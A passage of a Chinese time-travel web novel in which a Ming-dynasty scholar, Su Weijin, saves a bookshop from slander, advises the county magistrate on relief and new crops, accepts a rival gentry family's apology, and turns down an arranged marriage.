或是:“此兽足迹新鲜,体型不小,应向东南去了。”
王雪茹起初不信,按他指的方向一试,
竟十有七八能有所发现!
她不由啧啧称奇:
“苏案首,你这眼睛是尺子做的吧?
这都能看出来?”
苏惟瑾微笑:
“不过是些观察推断的笨功夫,
比不得姑娘真本领。”
夕阳西下,收获颇丰。
家丁的马鞍旁挂满了猎物。
王雪茹玩得尽兴,额角渗出细密的汗珠,
脸蛋红扑扑的,笑容比阳光还灿烂。
回城的路上,她心情极好,
与苏惟瑾并肩缓行,
聊着城里的趣事,
偶尔调侃一下他刚才那蹩脚的箭法。
苏惟瑾从容应对,偶尔妙语回应,逗得她咯咯直笑。
两人之间的关系,
在这轻松愉快的氛围里,
不知不觉拉近了许多。
不同于与赵文萱之间那种朦胧婉约的欣赏,
他与王雪茹之间,更像是一种爽朗直率的伙伴之情。
望着天边绚烂的晚霞,
苏惟瑾心情也舒畅了许多。
这大明的生活,
除了科举功名、人情算计,
原来也有这般纵情山野的畅快时刻。
或许,这条狂飙之路,
偶尔也需要这样偏离主道的闲暇风景,方能走得更远。
第75章 芸娘心事,惟瑾解围困
自打苏惟瑾入股,
陈家书铺仿佛枯木逢春,
悄然变了模样。
陈母用那五十两银子,
先是请了城里最好的大夫,
按苏惟瑾(伪装后的现代医学)建议调整了药方,
又买了些上好药材给陈伯康调理。
陈伯康身子虽未立刻痊愈,
但咳嗽明显减轻,
脸上也渐渐有了血色,
偶尔能下床在铺子里坐镇片刻了。
更重要的是,铺面焕然一新。
书架补齐了,还新打了两个。
架上不再是那些蒙尘的残本旧书,
而是新进的时文集子、诗词选编,
甚至还有几套印制精良的经典注疏。
更吸引眼球的是,
门口显眼位置摆上了一摞摞新刊印的话本小说,
封皮上印着诱人的名目:
《落魄书生遇狐记》、《侠女风尘三千里》…
皆是苏惟瑾凭超频大脑记忆,
将后世流行网文套路稍加改造,
符合明代审美和价值观的“原创”作品。
铺子门口还挂起了新幌子:
“沭阳案首苏惟瑾入股书坊,
精选文墨,惠及乡梓”。
这招牌效应是巨大的。
苏惟瑾如今是沭阳读书人的标杆,
他的入股本身就是一个极好的广告。
许多士子、甚至普通市民都慕名而来,
想看看案首老爷看中的书铺有啥不同。
一来二去,生意果然好了不少,
虽谈不上日进斗金,
但每日也有些进项,
陈家人脸上笑容多了,
芸娘忙碌时哼着小调,
眉眼间的轻愁也淡了许多。
然而,树大招风。
陈家书铺的红火,很快引来了同行的眼红嫉妒。
尤其是斜对门那家“翰墨斋”的吴掌柜,
看着原本半死不活的陈家铺子如今客流不息,
自家却门可罗雀,心里像是打翻了醋缸,又酸又涩。
于是,几条阴损的谣言便开始在沭阳城里悄然流传。
“听说了吗?
陈家那书铺,卖的尽是些粗制滥造的劣版书,错字连篇!”
“可不是?价格还死贵!
专坑那些冲着苏案首名头去的外乡人!”
“我表侄买了他家一本时文,
回去一看,墨色深浅不一,
还有污渍!退都不给退!”
谣言传得有鼻子有眼,虽无实据,却最是伤人。
一些原本打算光顾的客人听了,
不免心生疑虑,转而去了别家。
陈家书铺刚热络起来的人气,
眼看着又冷清了下去。
芸娘气苦极了。
她家进的书籍纸张、刻印工艺都是父亲抱病亲自把关,
选的物美价廉的良心货,
价格也定的极为公道,
怎会如此污蔑?
她试着向几位熟客解释,
可人言可畏,三人成虎,收效甚微。
看着父母愁容重现,
她背地里偷偷抹了好几次眼泪。
这日午后,铺子里依旧冷清。
芸娘正对着账本发呆,
眼圈微微泛红,
就听见一个清朗温和的声音响起:
“芸娘,可有新到的《近科程墨精选》?”
芸娘猛地抬头,只见苏惟瑾一身青衫,
不知何时已站在柜台前,正含笑看着她。
他目光扫过芸娘微红的眼眶和略显冷清的铺面,心中已是了然。
超频大脑瞬间将近日听到的零星谣言与眼前景象关联起来。
“苏…苏相公…”
芸娘慌忙起身,下意识掩藏情绪。
“有的,刚到的,我这就给您拿。”
她转身去取书,背影带着一丝委屈的僵硬。
苏惟瑾接过书,并未立刻翻阅,
而是状似随意地提高了一点声量,朗声道:
“芸娘,这书是府城‘文华堂’刻印的吧?
他家版本校勘极精,纸张也好,
我找了好久。
价格几何?”
芸娘一愣,下意识答道:
“一百二十文。”
“一百二十文?”
苏惟瑾故作惊讶,
声音更清亮了几分,
确保铺子外偶尔路过的行人都能听见。
“如此好的刻本,竟这般实惠?
我在县学旁那家‘翰墨斋’看到类似的,
纸质远不如这个,
还要卖一百五十文呢!
陈伯父真是厚道!”
他这话一出,不仅芸娘呆了,
连外面几个看似路过、
实则竖着耳朵听动静的街坊也放缓了脚步。
苏惟瑾仿佛浑然不觉,
继续大声与芸娘讨论,
时而点评纸张厚度,
时而赞叹刻工精细,
时而比较别家价格,
句句都在盛赞陈家书铺货真价实、童叟无欺。
他又随手拿起一本新刊印的《落魄书生遇狐记》,
翻了几页,笑道:
“这故事有趣!
文笔也流畅,不知是哪位才子所作?
定价才三十文?
真是物超所值!
回头定要推荐给同窗们看看。”
他这般做派,一连几日,只要有空,
便来书铺“购书”,
次次都这般高声点评,
俨然成了陈家书铺的“金牌代言人”。
再加上他案首的身份和如今在沭阳的声望,效果立竿见影。
许多原本犹豫的顾客心想:
苏案首何等眼光?
他都说好,那定然是极好的!
那些谣言,怕是有人眼红瞎传的!
于是,客流又慢慢回来了。
暗地里,苏惟瑾寻了个机会,
将此事看似无意地透露给了捕快周大山。
周大山如今视苏惟瑾为自家兄弟,
又嫉恶如仇,闻言豹眼一瞪:
“哪个杀才敢背后使坏?
老弟放心,包在我身上!”
不过两日,周大山便查清了,
果然是“翰墨斋”吴掌柜伙同两个闲汉散播的谣言。
周大山也没客气,
直接带着衙役上门“喝茶”,
一番“晓之以情,动之以理”(主要是展示了一下沙包大的拳头和腰间的铁尺),
吴掌柜顿时吓得屁滚尿流,
赌咒发誓再也不敢了,
第二天就乖乖自己掏钱雇人在街上澄清谣言,自打嘴巴。
至此,谣言风波彻底平息。
陈家书铺的生意反而因这波“争议”和苏惟瑾的亲自站台,比之前更红火了。
经此一事,芸娘对苏惟瑾的
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感激更是无以复加。
她看着苏惟瑾时,
那双杏眼里水光潋滟,
除了感激,似乎还多了些别样的、羞于启齿的情愫。
每次苏惟瑾来,
她总会悄悄给他留一碟新做的点心,
或是一杯泡得格外清香的茶水。
这日,苏惟瑾来看望陈伯康病情,
顺便商量事情。
陈伯康精神好了许多,已在柜台上忙活。
“伯父,如今铺子生意稳定了,
我想着,或许可以更进一步。”
苏惟瑾道。
“哦?苏相公有何高见?”
陈伯康如今对苏惟瑾是言听计从。
“我打算将府试、院试的几篇得意文章,
加上一些备考心得、破题技巧,
整理刊印成一小册,
名曰《小三元应试心得》。”
苏惟瑾抛出一个诱人的计划。
“此册只在我铺发售。
此外,我还有一些新的小说构思,
情节更曲折离奇,保证大卖。”
陈伯康眼睛瞬间亮了!
案首的应试心得?
这可是无数读书人梦寐以求的“秘籍”啊!
一旦刊印,必定洛阳纸贵!
“妙!妙啊!”
陈伯康激动得直搓手。
“不仅如此,”
苏惟瑾微微一笑,
超频大脑中现代营销知识飞速整合。
“我们还需针对不同客人,定制销售计划。
比如,对贫寒学子,可推出租借服务,
只需少许押金,便可租阅书籍,
按日计费极低;
对殷实人家,可推出‘会员制’,
预存银两,购书享受折扣,
并优先获得新书;
还可与县学、私塾合作,
批量采购给予优惠…”
他娓娓道来,
一套组合拳打得陈伯康眼花缭乱,
又茅塞顿开,只觉得眼前打开了一扇通往财富新世界的大门!
原来生意还能这么做?
“高!实在是高!”
陈伯康佩服得五体投地。
“就按苏相公说的办!”
很快,《小三元应试心得》即将发售的消息和那些闻所未闻的销售策略一同传开,
顿时在沭阳读书人中引起了轰动。
陈家书铺门槛几乎被踏破,
每日里询价的、预定的、办理“会员”的络绎不绝。
芸娘忙碌地穿梭其间,
收钱记账,推介书籍,
脸上洋溢着自信快乐的光彩。
她偶尔偷眼看向在一旁与父亲从容商议的苏惟瑾,
只觉得他周身都笼罩着一层令人心折的光芒。
这个男人,不仅才华横溢,
更有手段、有担当,
于细微处体贴人心,
于困境中擎天架海。
他悄无声息地便化解了她家的危机,
更带来了前所未有的希望。
一颗芳心,在不知不觉间,已悄然深陷。
而苏惟瑾,并未留意到少女细腻的心事。
他正看着熙熙攘攘的书铺,
心中盘算的是如何将这点产业一步步做大,
成为他未来仕途经济中一个稳定而隐秘的支撑点。
狂飙之路,需有羽翼。
这小小的书铺,或许便是第一片坚实的翎毛。
第76章 县尊请教,献策惠民策
沭阳县衙后堂,
与前衙的威严肃穆截然不同。
此处植了几竿翠竹,摆了几盆兰草,
窗明几净,略显清雅。
县令**并未穿着官服,
只一身藏青直裰,
正坐在酸枝木官帽椅上,
眉头微锁,手指无意识地敲击着桌面。
他面前摊着几份文书,
皆是户房与刑房上报的棘手之事。
春耕虽过,但去岁淮北略有水患,
流入沭阳的灾民尚未完全安置,
偶有偷鸡摸狗、争抢水源之事发生,
虽不甚大,却如芒在背,影响清誉。
加之县库并不充盈,
如何安抚流民、发展民生,成了他心头一桩难事。
“唉…”
**轻叹一声。
他虽有心做个好官,奈何出身尚可,
于这钱谷刑名、民生经济实务,
终究欠缺些火候和奇谋。
“老爷,苏惟瑾苏相公到了。”
长随在门外低声禀报。
**精神一振,连忙道:
“快请!”
自上次苏惟瑾献策改良农具,
**便对此子另眼相看。
其思维之缜密、见解之新颖,
常能发人所未发。
此后又经历张诚纵火案、书铺谣言等事,
更显其手段与担当。
**渐渐养成习惯,
遇有难决之事,
便喜欢唤这个年轻秀才来后堂叙话,
听听他的看法。
苏惟瑾每每总能从意想不到的角度,
提出些令人拍案叫绝的点子。
苏惟瑾步入后堂,行礼如仪:
“学生见过老父母。”
“玉衡来了,坐,看茶。”
**笑容亲切,指着旁边的座位。
“不必拘礼,今日唤你来,
是想听听你对县中近来一些琐事的看法。”
他随手将户房关于流民安置困难的文书推了过去。
苏惟瑾双手接过,快速浏览。
超频大脑无声运转,
将文字信息转化为数据流:
流民数量约三百余,
青壮占四成,老弱妇孺六成…
主要**于城西破庙及废弃窑厂…
**多为窃取果蔬、争抢短工机会…
县库能调拨钱粮有限…
同时,脑中庞大的知识库已被激活,
检索匹配类似情境的历史案例与现代社会解决方案。
“老父母所忧,乃是流民安置无所,
恐生事端,又苦于县库银钱不丰。”
苏惟瑾放下文书,一针见血。
“正是此理!”
**一拍大腿。
“开仓放粮只能救急,非长久之计。
若一味驱赶,又恐失仁政,且易激变。
若放任不管,偷盗争抢之事恐愈演愈烈。
本官实是两难。”
苏惟瑾沉吟片刻,目光清明,缓声道:
“学生愚见,或可尝试‘以工代赈’之法。”
“以工代赈?”
**一怔,这对他而言不是个新词,
上次就听苏惟瑾在解决水患的时候,提过这个【以工代赈】。
“正是。”
苏惟瑾从容解释。
“流民并非不愿劳作,
实是无田可耕,无工可做。
县尊何不以县衙名义,
组织这些流民中的青壮,
去修缮县内年久失修的水利沟渠、平整官道?
每日管两餐饱饭,
并酌情发放些许工钱,
哪怕只是些许铜板,
亦或是折算成粮食。
如此,流民凭力气吃饭,心安理得,不致闲散生事;
县尊得了修缮好的水利道路,
惠及全县农耕交通,乃实实在在的政绩;
所费钱粮,远比单纯施舍要少,且见效快,一举三得。”
**听得眼睛越来越亮!
这思路…简直如同在他混沌的脑海里劈开了一道光!
对啊!怎么没想到?
让流民干活!
他们有了活路,县里得了实惠,花费还少了!
“妙!妙啊!”
**激动地站起身,在堂内踱步。
“此法大善!
不仅解流民之困,亦兴本地之利!
玉衡,你真是本官的子房孔明!”
“老父母谬赞。”
苏惟瑾谦逊一句,继续道。
“此其一。
其二,流民中若有手艺人,
如木匠、篾匠、织工等,
或可由县衙作保,牵线搭桥,
联系城内相关作坊接收,
或鼓励他们自行制作些竹木器具、粗布麻衣,
由县衙设法代为销售,
甚至可考虑组织一个小型的‘流民匠作市集’,
给予几日免税,使其能自食其力。”
“匠作市集?免税?”
**再次被这新奇想法击中,
细细思量,越想越觉得可行!
这不仅能安置部分流民,
甚至可能成为沭阳一个特色!
苏惟瑾话锋又一转,
声音压低了些,带着一丝引导性:
“此外,学生近日翻阅一些杂书游记,
听闻闽浙沿海有海商带来些海外新奇的作物种子,
名曰‘番薯’、‘玉蜀黍’。”
“番薯?玉蜀黍?”
**茫然,他从未听过此物。
苏惟瑾脑海中迅速检索来自未来的记忆碎片
——他依稀记得,番薯和玉米都是在明朝中后期才陆续传入中国,
大致是在万历年间才逐渐推广。
此时提及,确实有些超前,
但也并非全无可能。
沿海一带商贸往来频繁,
或许已有零星传入,
只是尚未广为人知。
他斟酌着语句,解释道:
“学生也只是在些残本杂记中偶然瞥见,语焉不详。
据说那‘番薯’,
亦有称为‘甘薯’或‘金薯’的,
源自海外,耐旱易活,
山地硗薄之地亦可种植,
块根肥大,可充粮食。
而那‘玉蜀黍’,或称‘苞谷’,
籽粒如珠如玉,产量似也不低。
据那零星记载,
如今或许在闽粤沿海极个别地方有所试种,尚未北传。”
他稍作停顿,让**消化这闻所未闻的信息,继而道:
“此二物若描述属实,
不择地力,耐旱耐瘠,
且产量远超麦粟,
若能设法寻来些种子,
在沭阳山地旱塬试种成功,
岂非大大增加粮食产出?
将来即便再遇灾荒,
百姓也多一重果腹之物?
此乃长远惠民之策。”
“竟有如此神物?!”
**惊得瞪大了眼睛,
呼吸都急促起来!
作为一地父母官,
没有什么比“粮食增产”更让他心动的了!
若真如苏惟瑾所言,
此物耐瘠高产,那简直是天赐祥瑞!
虽然听起来有些难以置信,
甚至像是海外奇谈,
但苏惟瑾过往的精准建言已建立了足够的信任。
超频大脑精准地控制着信息输出的剂量,
苏惟瑾并未说得太满,只道:
“学生亦只是从残篇断
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简中看来,
未曾亲见,其详不可考。
或许那记载有所夸大,
或许时机未至,
此类物种尚未广泛传入。
但既有此一说,
老父母或可托关系在沿海州府,
特别是与蕃商往来密切的泉州、广州等地留心打听一二,
若能侥幸求得少许种子试种,
成则大利于民,不成亦无大损,
总算是一线希望。”
“对!对!打听!必须打听!”
**如同抓住了救命稻草,
不,是抓住了一线可能改变治下农业格局的曙光!
即便希望渺茫,也值得一试。
若真能引入这等高产作物,
那可是能上达天听、青史留名的大政绩!
他再看苏惟瑾,眼神已经完全变了。
这哪里还是个单纯的秀才?
这分明是上天赐给他**的卧龙凤雏啊!
这些策略,环环相扣,
既有解燃眉之急的“以役代赈”,
又有发展中长期手工业的妙想,
更有探寻新作物这种高瞻远瞩的布局!
每一策都直指要害,切实可行!
“玉衡啊玉衡!”
**激动地抓住苏惟瑾的手臂。
“你此番建言,于我县而言,
不啻于久旱甘霖!
本官…本官真不知如何谢你!”
“老父母言重了。”
苏惟瑾微笑。
“学生既是沭阳子民,
又蒙老父母青眼,
能为乡梓略尽绵力,乃分内之事。”
“好!好一个分内之事!”
**抚掌大笑,心中快慰无比。
他当即扬声唤来户房、工房书吏,
将苏惟瑾的“以役代赈”、
组织匠作市集之策稍加细化,
便作为县衙政令颁布下去,责令立刻执行。
同时,又修书数封,
动用人脉,火速派人前往沿海州府,
特别是闽粤一带,
探寻那听起来如似天方夜谭般的“番薯”、“玉蜀黍”种子的下落。
不过旬月,效果立显。
城西流民被组织起来,
清理河道,加固堤坝,修补官道。
每日炊烟升起,饭食飘香,
劳作之声代替了以往的哀怨与争吵。
偷窃**锐减。
一个小型的匠作市集在城隍庙旁开办起来,
虽简陋,却吸引了不少市民好奇光顾,
几个手巧的流民编制的竹器、
打的粗坯家具竟很快售罄,
看到了希望的曙光。
至于那番薯、玉米之事,
虽一时尚无回音,
却已在**心中埋下了一颗充满希望的种子。
一时间,沭阳县政通人和,
百业似乎都焕发出新的活力。
同僚、士绅乃至普通百姓,
都明显感觉到王县令近来施政愈发老练高效,
惠民实政一件接着一件。
**的官声威望,
在沭阳达到了前所未有的高度。
每次听到属下的汇报和外面的赞誉,
**都会想起后堂那个青衫磊落的年轻秀才。
他心中暗叹:
此子之才,识见之广,虑事之远,绝不止于一秀才功名。
将来必非池中之物!
而苏惟瑾,依旧每日读书、作文、偶尔去书铺看看,
去郊外走走,云淡风轻。
但他知道,自己在**这条线上投入的**资本,
正在以惊人的速度增值。
这惠民之策,惠的不止是沭阳百姓,
更是他苏惟瑾未来的仕途。
第77章 孙家认栽,送上和解帖
苏惟瑾献策带来的变化,如同春风化雨,
悄无声息却又实实在在地改变着沭阳的街巷风貌。
城西流民区的秩序井然,
修缮一新的水利沟渠在阳光下泛着新泥的光泽,城隍庙旁的小市集人声渐旺。
县令**的政令畅通无阻,威望日隆,
连带着他对苏惟瑾的倚重与赏识,
也成了沭阳官场士林心照不宣的事实。
这股风,自然也吹进了城东那座挂着“诗书传家”匾额的深宅大院——孙府。
孙家老太爷孙万年,这位致仕的员外郎,近日来书房里的茶盏换得格外勤快。
下人时常能听见屋内传出压抑的咳嗽声和沉重的叹息。
他虽致仕,但耳目并未闭塞。
县衙里传来的每一桩消息,都像一根根小针,扎在他日渐敏感的神经上。
“以役代赈…匠作市集…海外新作物…”
孙万年枯瘦的手指敲着紫檀木桌面,
对着下首垂手侍立的长子孙茂才,
声音带着一丝难以掩饰的疲惫与惊悸。
“**府近来这般雷厉风行,政绩卓著,背后竟都有那苏惟瑾的影子?
此子…此子竟有如此经天纬地之才?”
孙茂才也是一脸凝重,低声道:
“父亲,千真万确。
衙门里传出的消息,王县令对那苏惟瑾几乎言听计从,常私下召见请教。
如今县里几桩漂亮的政绩,都脱不开那小子的主意。
就连…就连赵教谕、刘老翰林,也对其青眼有加。”
他顿了顿,脸上露出一丝苦涩和后怕:
“张家前车之鉴不远,如今王县令又对他如此看重,我孙家若再与之交恶,只怕…”
只怕下一个倾覆的,就是他孙家!
这话他没敢说出口,但孙万年混浊的眼中已闪过同样的忧惧。
他们这些地方乡绅,看似树大根深,实则根基并不如想象中稳固。
县令乃一方父母,若真铁了心要整治谁,有的是办法。
更何况,那苏惟瑾展现出的能力与潜力太过惊人,
与这样一个潜力股结下死仇,绝非家族之福。
“志远呢?”
孙万年沉声问道,语气中带着一丝不易察觉的失望。
“还在房里生闷气,称病不出…”
孙茂才叹了口气。
“他放出话来,说宁可不要这功名,也绝不受那苏惟瑾的腌臜气!”
“糊涂!”
孙万年低斥一声,随即又剧烈咳嗽起来。
“个人意气,岂能与家族兴衰相提并论?
他不懂事,你也不懂吗?
难道要为了他那点面子,将整个孙家置于险地?”
孙茂才冷汗涔涔而下:
“儿子不敢!父亲教训的是!
只是…如今我孙家主动求和,怕是面子上…”
“面子?”
孙万年惨然一笑,瞬间像是老了十岁。
“在家族存续面前,面子算什么!
备一份厚礼,要体面,但不能过于张扬。
你再亲自执笔,以你的名义写一封‘问学帖’,言辞要恳切,就说我孙家以往多有得罪,望苏相公海涵。
今后愿多多亲近,同为乡梓出力。”
这是要彻底低头,主动化解干戈了。
孙茂才心中虽也有些不甘,但深知这是眼下最明智的选择,连忙应下:
“是,儿子这就去办。”
于是,这日下午,一辆标记着孙家徽记的朴素马车,停在了西街苏家小院门口。
孙茂才亲自捧着一个锦盒和一封泥金拜帖,下了马车。
这一幕,引得西街邻居纷纷侧目,议论纷纷。
“快看!孙家的马车!”
“那是…孙家大老爷?他怎么亲自来了?”
“还能为什么?肯定是来找苏案首的呗!”
“啧啧,孙家这可是低头了…”
孙茂才听着隐约传来的议论,脸上有些发热,
但还是整了整衣冠,脸上堆起恰到好处的笑容,叩响了苏家的木门。
开门的是七叔公。
见到门外竟是孙茂才,七叔公吓了一跳,连忙行礼:
“孙…孙老爷?您这是…”
“苏老丈不必多礼。”
孙茂才态度放得极低,笑容可掬。
“听闻玉衡世侄近日潜心学问,茂才特来拜访,
一是表达钦佩之意,
二是就以往一些小辈间的误会,
来向世侄解释一二,还望老丈通传。”
七叔公心中惊疑不定,连忙将孙茂才请进堂屋,自己去后院叫苏惟瑾。
苏惟瑾正在房中看书,听闻孙茂才亲至,眼中闪过一丝了然。
超频大脑瞬间将近期县政变化、孙家处境、自身价值提升等因素综合分析,
得出了结论:孙家,这是来认栽求和了。
他并不意外。
这本就是实力对比变化后必然的结果。
他放下书卷,神色平静地来到堂屋。
“孙世叔大驾光临,寒舍蓬荜生辉。
未能远迎,还请恕罪。”
苏惟瑾拱手行礼,语气平和,既不热络也不冷漠。
孙茂才连忙起身还礼,笑容更加殷切:
“玉衡世侄哪里话,是世叔贸然来访,打扰你清修了。”
他仔细打量苏惟瑾,
见对方面色红润,眼神清亮,气度沉稳,丝毫没有少年得志的轻狂,
心中更是暗叹此子不凡,同时也更加坚定了和解的决心。
双方落座,七叔公奉上粗茶。
孙茂才先是关切地询问了苏惟瑾的学业,
又对院试表达了祝福,言辞恳切,好似真是个关爱后辈的长者。
寒暄过后,他才切入正题,叹了口气道:
“说来惭愧。
家中犬子志远,年少气盛,以往若有开罪世侄之处,
皆是我这为父的管教不严所致。
今日世叔特来赔罪,还望世侄大人有大量,莫要与他一般见识。
今后孙家与世侄,还当多亲多近,同为沭阳乡亲,理应和睦互助才是。”
说着,他将那锦盒推到苏惟瑾面前:
“区区薄礼,不成
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敬意,聊表歉意,
也算是我孙家资助世侄乡试的一点心意,万望笑纳。”
锦盒打开,里面是两锭雪白的官银,
一套上好的湖笔徽墨,还有两匹质地细腻的杭缎。
礼不轻,态度更是放得极低。
苏惟瑾目光扫过礼物,并未立刻去接,而是微微一笑,道:
“孙世叔言重了。年轻意气之争,过去便过去了。
志远兄才学亦是出众,乡试之时,或许还能同场竞技,互相印证所学。
世叔放心,惟瑾并非心胸狭隘之人,往日些许龃龉,不会放在心上。”
他这话说得漂亮,
既接受了道歉,显示了心胸,
又恰如其分地点出孙志远与自己已非同一层级,
并将过节轻描淡写为“意气之争”、“龃龉”,给孙家留足了面子,
但也明确划清了界限——和解可以,深交不必。
孙茂才是聪明人,岂会听不出弦外之音?
心中虽有些不是滋味,
但见苏惟瑾肯接受和解,已是大大松了口气。
他连忙笑道:
“世侄宽宏大量,世叔佩服!
今后但有需要孙家之处,尽管开口!”
又闲谈几句,孙茂才便起身告辞。
苏惟瑾将他送到门口,态度依旧客气而疏离。
孙家马车驶离西街,这场看似平淡的拜访,却像一阵风,瞬间传遍了沭阳上层圈子。
孙家,向苏惟瑾低头了!
这个消息带来的震撼,远比苏惟瑾中了案首更甚。
而此刻孙府内,孙志远听闻父亲竟然亲自去给苏惟瑾赔礼道歉,
气得将房中最心爱的一方端砚狠狠摔在地上,粉碎!
“凭什么!
他一个贱籍出身的小畜生!
凭什么!”
他双目赤红,状若疯魔。
“我不服!我不服!”
然而,无论他如何愤怒咆哮,也改变不了孙家战略性认输的事实。
苏惟瑾看着孙家送来的礼物,神色淡然。
他让七叔公将银子和缎子收好,笔墨则留下自用。
“惟瑾,孙家这…”
七叔公仍有些不敢相信。
“七叔公,”
苏惟瑾平静道。
“这世上没有永远的敌人,只有永远的利益。
孙家低头,是因为我有了让他们低头的价值。
我们不必得意,但也不必拒之门外。
维持表面和气,于我们目前最有利。”
七叔公似懂非懂地点点头,只觉得眼前的侄孙,心思之深,眼光之远,已远超他的想象。
苏惟瑾转身回到书房,重新拿起书本。
科举之路,从不只是快意恩仇,更多的是这般冷静的算计与利益的权衡。
孙家的和解帖,只是这条路上一个小小的注脚。
而此刻,谁也不知道,孙府深处,孙志远盯着满地砚台碎片,眼中闪烁着疯狂的光芒。
“苏小九…你让我孙家蒙羞,此仇不报,我誓不为人!”
新的风暴,正在绝望中悄然孕育…
第78章 七叔公议婚,惟瑾婉拒
孙家低头带来的余波尚未平息,
西街苏家小院却迎来了另一场“风波”,
这次是来自内部。
七叔公近来走路都带风。
族中耆老见了他,无不笑脸相迎,
言语间满是奉承;
往日里那些眼睛长在头顶上的乡绅,
如今也会客气地称他一声“苏老丈”。
这一切,皆因他苏家出了个苏惟瑾!
人一得意,便容易思量更多。
七叔公看着日渐沉稳、声名鹊起的侄孙,
欣慰之余,一个念头也愈发强烈:
惟瑾这孩子,眼看就要一飞冲天,
得想法子把他更牢靠地绑在苏家这辆战车上!
如今他父母俱亡,
自己这个叔公便是最亲的长辈,
这婚姻大事,合该由自己操心!
这日傍晚,饭桌上摆着几样小菜,
七叔公抿了一口粗酿的米酒,
脸上泛着红光,
看着对面安静吃饭的苏惟瑾,清了清嗓子。
“惟瑾啊,”
他放下酒杯,语气带着长辈特有的关切。
“眼看你院试在即,
功名之路一片光明。
这成家立业,成家在前。
你年纪也不小了,
屋里没个知冷知热的人伺候着,终是不便。
你如今是咱们苏家的顶梁柱,
这婚事,叔公得替你张罗起来。”
苏惟瑾夹菜的筷子微微一顿,
抬眼看向七叔公,心中已是了然。
超频大脑瞬间推演出七叔公此举的深层动机:
家族绑定,利益最大化。
七叔公见他不语,
只当是年轻人害羞,愈发来了兴致,
压低声音道:
“前日里,南街的徐保正(保长)托人递了话,
他家有个嫡出的孙女,
今年刚满十五,模样周正,
性子也温婉,家里陪嫁也丰厚。
徐保正说了,若是你点头,他愿出这个数!”
七叔公伸出两根手指,眼中放光。
“两百两嫁妆!还能帮衬着族里些…”
他又絮絮叨叨说了几家,
有的是乡绅庶女,
有的是富户独女,
开出的条件一个比一个诱人,
俨然似苏惟瑾是个待价而沽的奇货。
苏惟瑾安静听着,
直到七叔公说得口干舌燥,
端起酒杯润喉时,才放下筷子,
用布巾擦了擦嘴,声音平静却坚定:
“七叔公的好意,小子心领了。”
七叔公动作一顿。
苏惟瑾继续道:
“只是,乡试在即,而后还有会试,殿试功名未成,何以家为?
此时谈婚论嫁,未免分心。
再者…”
他语气稍稍加重。
“婚姻乃人伦大事,结两姓之好,
亦需结同心之谊。
小子虽不才,亦希望将来所娶之人,
能是心意相通、彼此敬重之伴侣,
而非全然权衡利弊之交易。
此事,还请叔公容晚辈自行斟酌。”
这话说得客气,但意思却再明白不过:
我现在不想娶,而且就算要娶,
也得我自己看中意,您老就别乱点鸳鸯谱了。
七叔公脸上的红光褪去,
慢慢放下了酒杯,眉头皱了起来。
他没想到苏惟瑾会拒绝得如此干脆,
甚至隐隐驳了他的面子。
他有些不快:
“惟瑾,叔公这都是为你好,为咱们苏家好!
找个岳家帮衬,你将来仕途也顺畅些不是?
那徐家…”
“七叔公,”
苏惟瑾打断他,目光清正地看着他。
“苏家之兴,当系于族人之勤勉同心,
系于晚辈之功名实学,
而非系于一桩姻亲。
靠山山倒,靠人人跑,
唯有自身立得住,才是根本。
此事,晚辈心意已决,望叔公成全。”
他语气依旧恭敬,
但那股不容置疑的坚决,
却让七叔公心头一凛。
他猛然意识到,眼前这个少年,
早已不是那个需要他庇护、听他安排的孤侄孙了。
他是府试案首,是县令的座上宾,
是能让孙家低头的人物!
他的主,自己早已做不得。
七叔公张了张嘴,
最终所有的话都化作一声无奈的叹息,带着些许悻悻然:
“罢了罢了,你如今是有大主意的人了…
叔公老了,说不动你了…
你自己心中有数就好。”
一场精心策划的联姻提议,就此夭折。
然而,这消息却不知怎地,
还是像长了翅膀一样,
悄无声息地飞出了苏家小院,
落入了不同人的耳中。
芸娘正在书铺后院帮着母亲煎药,
听得前来串门的邻居大婶
挤眉弄眼地说起
“七叔公要给苏案首说徐保正家的孙女呢,两百两嫁妆!”,
她手一抖,药罐盖子“哐当”一声掉在地上,摔得粉碎。
脸色瞬间变得苍白,
手指无意识地绞紧了衣角,
心口像是被什么东西猛地攥住了,
又酸又涩,连呼吸都困难起来。
她慌忙低下头,假借收拾碎片掩饰失态,
却觉得眼前一片模糊。
原来…他那么好的人,
终究是要娶那些门当户对的千金小姐的…
自己这点微末的心思,简直是痴心妄想。
一整日,她都失魂落魄,
做事频频出错,
被陈母担忧地问了几次是不是不舒服。
后来,又听说苏惟瑾当场婉拒了,言明要“心意相通”。
芸娘那颗沉到谷底的心,
仿佛又被一只温柔的手轻轻托起,
重新见到了微光。
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她偷偷松了口气,脸颊微热,
一边暗骂自己没羞没臊,
一边又忍不住去想:
“心意相通…
他…他会喜欢什么样的女子呢?”
心底那份卑微的期待,
如同石缝里的小草,
又悄悄地探出了一点点嫩芽。
王雪茹则是在练武场挥汗如雨时,
听自家丫鬟八卦听来的。
她刚一枪挑落木桩上的红缨,
闻言杏眼一瞪:
“七叔公给苏惟瑾说亲?
徐家那个扭扭捏捏、说话像蚊子叫的丫头?”
她撇撇嘴,将**往地上一顿。
“嗤,没劲!
苏惟瑾那样的人,
是能被困在后院跟小娘子吟风弄月的人吗?”
她觉得心里有点莫名的不舒服,
但又说不上为什么,
只觉得那场景想象起来就别扭。
待到听闻苏惟瑾拒绝,她顿时眉开眼笑,一拍手:
“这还差不多!算他有眼光!
大丈夫何患无妻,当然是先建功立业要紧!”
她觉得畅快极了,宛如打赢了一场仗,
练枪的劲头都更足了几分,
只是偶尔休息时,
会拄着枪发会儿呆,嘀咕一句:
“不过…他将来会找个什么样的呢?”
赵文萱正临窗抚琴,琴音淙淙。
贴身丫鬟轻手轻脚进来,
将听来的消息低声告知。
她的手指在琴弦上微微一滞,
一个音符便走了调。
她垂下眼帘,沉默了片刻,
方才轻声问道:
“他…应了?”
语气看似平静,指尖却微微蜷缩。
得知苏惟瑾婉拒,
并说出“需心意相通”之语时,
她抚在琴弦上的手缓缓松开,
唇角几不可察地轻轻弯了一下,
随即恢复如常,仿佛什么都未曾发生。
只是接下来的一曲《凤求凰》,
音韵格外流畅悠扬,
眼角眉梢也染上了一抹极淡的、不易察觉的欣悦。
她起身走到书案前,铺开宣纸,
却久久未落笔,
只是望着窗外一株开得正盛的山茶花,微微出神。
“心意相通…”
她无声地咀嚼着这四个字,
觉得比任何华丽的辞藻都更动人心弦。
苏惟瑾并不知晓这一番婉拒,
竟在三个少女心中掀起了不同的波澜。
他解决了七叔公的“逼婚”,
便将此事抛诸脑后,重新埋首书卷。
对他而言,拒绝一桩包办婚姻,
保持自身的独立性和选择权,
是理所当然之事。
